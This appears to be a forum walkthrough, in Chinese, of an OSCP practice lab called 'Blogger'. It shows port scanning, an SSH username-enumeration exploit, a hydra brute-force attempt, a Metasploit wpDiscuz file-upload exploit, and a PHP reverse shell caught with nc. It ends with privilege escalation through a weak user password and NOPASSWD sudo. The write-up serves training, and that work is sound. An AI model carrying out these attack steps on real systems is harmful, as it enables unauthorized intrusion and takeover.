OSCP靶场系列-Esay-Blogger

杳若   ·   发表于 2023-07-23 04:10:42   ·   CTF&WP专版

Esay_Blogger

总结

getwebshell → 目录扫描 → CMS指纹扫描 → 漏洞发现

提 权 思 路 → 用户弱密码 → sudo su提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.176

  • 启动靶机
    获取目标机器IP > 192.168.190.217

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    1. ┌──(rootKali)-[/home/bachang/Blogger]
    2. └─# sudo nmap --min-rate 10000 -p- 192.168.190.217
    3. Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 02:25 CST
    4. Nmap scan report for 192.168.190.217
    5. Host is up (0.25s latency).
    6. Not shown: 65533 closed tcp ports (reset)
    7. PORT STATE SERVICE
    8. 22/tcp open ssh
    9. 80/tcp open http

[!通过各两次扫描收集到端口 ]
?22,80

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.190.217

信息收集-端口测试

目前22端口和80端口开放,分别进行尝试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(鸡肋)

通过Nmap探测获得SSH的版本信息,可以尝试利用

  1. # 进入msf 探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
  2. console
  3. # 搜索对应脚本
  4. msf6 > searchsploit openssh 7.2

发现我们的OpenSSH 7.2p2是存在用户名枚举的漏洞

漏洞利用-SSH用户名枚举(麻烦)

  1. # 查看msf对应的内容
  2. cat /usr/share/exploitdb/exploits/linux/remote/40136.py


查看脚本初步确定使用方法


输入ip指定用户名或者用户列表进行枚举

  1. python /usr/share/exploitdb/exploits/linux/remote/40136.py 192.168.190.217 -U /usr/share/wordlists/metasploit/password.lst

有点鸡肋,放弃

22-SSH弱口令爆破(不支持)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.217 ssh -s 22

发现目标不支持密码连接

22-SSH手动登录尝试(拒绝)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root@192.168.190.217 -p 22
  2. # 密码尝试
  3. password > root

发现目标不支持密码连接

80-HTTP端口的信息收集

接下来只能通过80端口进行突破了
访问 http://192.168.190.217:80 看上去是个标准的cms

信息收集-网站指纹

  1. ┌──(rootKali)-[/home/bachang/Blogger]
  2. └─# whatweb http://192.168.190.217:80
  3. http://192.168.190.217:80 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,mail@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.190.217], JQuery[2.2.3], PasswordField, Script, Title[Blogger | Home]

可能CMS是Blogger? 不清楚版本信息先不考虑网站指纹

信息收集-源码查看

  1. # 利用html2text转换纯文本方便查看
  2. curl http://192.168.190.217:80 | html2text

查看了一下没找到什么有用的信息

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.190.217:80 -x 302,403

因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典)
  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-端点查看

/assets端点查看(文件遍历)

访问了该端点之后发现了路径遍历


点击查看发现是文件遍历

可以尝试对该端点进行 -r 递归扫描

  1. dirsearch -u http://192.168.190.217:80/assets -x 302,403 -r 2

在该端点下发现一个比较感兴趣的文件夹/blog


访问之后加载较慢,访问了域名


发现会从ip跳转到域名


因此进行hosts绑定

host绑定

发现访问IP被重定向,修改host

  1. vim /etc/hosts
  2. 192.168.190.217 blogger.thm

信息收集-/assets/fonts/blog端点

再次访问发现加载正常

信息收集-网站指纹
  1. whatweb http://192.168.190.217/assets/fonts/blog/

发现运用了WordPress 4.9.8

漏洞利用-网站指纹
  1. msfconsole
  2. searchsploit WordPress 4.9.8

搜索发现主要是和插件有关,需要探索插件

信息收集-漏洞扫描wpscan
  1. # 针对wordpress的专用扫描器
  2. wpscan --url http://192.168.190.217/assets/fonts/blog/

通过wpscan发现了很多漏洞,比较严重的和上传有关

漏洞利用-getwebshell

文件上传getwebshell

访问wpscan扫描出来的功能点发现是路径遍历


推测存在文件上传功能,试试wp的各个功能点

发现了一处发表评论的功能点,可以上传图片


这时候查看源码,是否可以确认这是wordpress的哪个组件
发现引用了wpdiscuz的组件


上传之后发现版本信息是 7.0.4

  1. # 直接上msf查找
  2. msf6 > searchsploit wpdiscuz 7.0.4

msf-rb失败

发现存在插件的上传,尝试利用msf

  1. msf6 > search wpdiscuz
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. - ---- --------------- ---- ----- -----------
  6. 0 exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload 2020-02-21 excellent Yes WordPress wpDiscuz Unauthenticated File Upload Vulnerability
  7. Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
  8. msf6 > use 0

  1. show options

设置需要修改的参数

  1. msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 192.168.45.176
  2. lhost => 192.168.45.176
  3. msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhosts 192.168.190.217
  4. rhosts => 192.168.190.217
  5. msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath /assets/fonts/blog/?p=9
  6. blogpath => /assets/fonts/blog/?p=9

msf第二次尝试(失败)

尝试另外两个脚本

  1. cat /usr/share/exploitdb/exploits/php/webapps/49967.py
  2. cat /usr/share/exploitdb/exploits/php/webapps/49962.sh

py脚本需要确定地址和路径

  1. python /usr/share/exploitdb/exploits/php/webapps/49967.py -u http://192.168.190.217/assets/fonts/blog -p wp-content/uploads/2023/07/blogpost

手动文章复现

网上直接搜索了相关的文章


上传一个shell.jpg文件,此文件是shell.php更改了后缀的,再利用BurpSuite抓包
添加GIF89a的头部获得上传路径

反弹shell-php
  1. # 利用cp命令cp一个到当前文件夹
  2. sudo cp /usr/share/webshells/php/php-reverse-shell.php .
  3. # 修改成jgp
  4. cp php-reverse-shell.php ./shell.jpg
  5. # 修改里面的监听端口

  1. # 开启监听
  2. nc -lvvp 1234

上传抓包,准备修改


添加GIF89a的头部获得上传路径,改为shell.php


通过日志找到对应的上传点


访问地址之后成功getwebshell

内网遨游-getshell

交互shell-python

由于获取的shell交互不友好,利用python获得新的交互shell

  1. # 利用python获取交互shell -> python失败使用python3
  2. python -c "import pty;pty.spawn('/bin/bash')";
  3. python3 -c "import pty;pty.spawn('/bin/bash')";

说明系统内是python3

FLAG1获取

  1. www-data@ubuntu-xenial:/$ find / -name local.txt 2>/dev/null
  2. /home/james/local.txt
  3. www-data@ubuntu-xenial:/$ cat /home/james/local.txt
  4. **************************

权限提升

Linux提权-sudo提权尝试(需要密码)

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. www-data@ubuntu-xenial:/$ sudo -l
  3. [sudo] password for www-data:

Linux提权-suid提权尝试

  1. # -perm 文件权限
  2. find / -perm -u=s -type f 2>/dev/null


没找到什么适合的

Linux提权-suid-getcap提权尝试

  1. # 探查有CAP_SETUID标志的进程
  2. /usr/sbin/getcap -r / 2>/dev/null

Linux提权-Cron job提权尝试

  1. # 寻找定时任务并修改进行提权
  2. cat /etc/crontab

Linux提权-内核overlayfs提权尝试

  1. # 确定发行版本
  2. lsb_release -a
  3. # Ubuntu 16.04.7 LTS 不符合

Linux提权-内核脏牛提权尝试

  1. # 确定发行版本 Ubuntu 16.04.7 LTS 符合
  2. lsb_release -a
  3. # 首先确定内核版本 4.4.0-206 不符合
  4. uname -a

Linux提权-查找可读可写可执行root权限进程尝试

手动查看root的进程,查找可以权限提升内容

  1. # 调整行列,方便查询进程
  2. stty rows 50 cols 250
  3. # 查找进程,是否存在root权限进程
  4. ps aux

信息收集-内网基础信息收集

确认home目录下用户

  1. ls -al /home

确认home目录下是否有隐藏文件
  1. # 例如.ssh找密码 ./*_history找历史记录等
  2. ls -al /home/james

暴力破解-内网用户密码弱口令

尝试直接用用户的账号当密码进行登录<mark style="background: #FFB8EBA6;">(因为不能利用hyrda远程爆破)</mark>

  1. www-data@ubuntu-xenial:/home/vagrant$ su ubuntu
  2. su ubuntu
  3. Password: ubuntu
  4. su: Authentication failure
  5. www-data@ubuntu-xenial:/home/vagrant$ su vagrant
  6. su vagrant
  7. Password: vagrant
  8. vagrant@ubuntu-xenial:~$

提权-2

之后进行第二轮提权

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. vagrant@ubuntu-xenial:~$ sudo -l
  2. sudo -l
  3. Matching Defaults entries for vagrant on ubuntu-xenial:
  4. env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  5. User vagrant may run the following commands on ubuntu-xenial:
  6. (ALL) NOPASSWD: ALL

存在(ALL) NOPASSWD: ALL

  1. # su提权
  2. vagrant@ubuntu-xenial:~$ sudo su
  3. sudo su
  4. root@ubuntu-xenial:/home/vagrant#

提权成功

FLAG2获取

  1. cat /root/proof.txt
  2. *************************

完结撒花~

用户名金币积分时间理由
Track-魔方 1400.00 0 2023-07-25 13:01:13 平台唯一 500 深度 200 普适 400 可读 200 稀缺 100

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-23 | 500 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.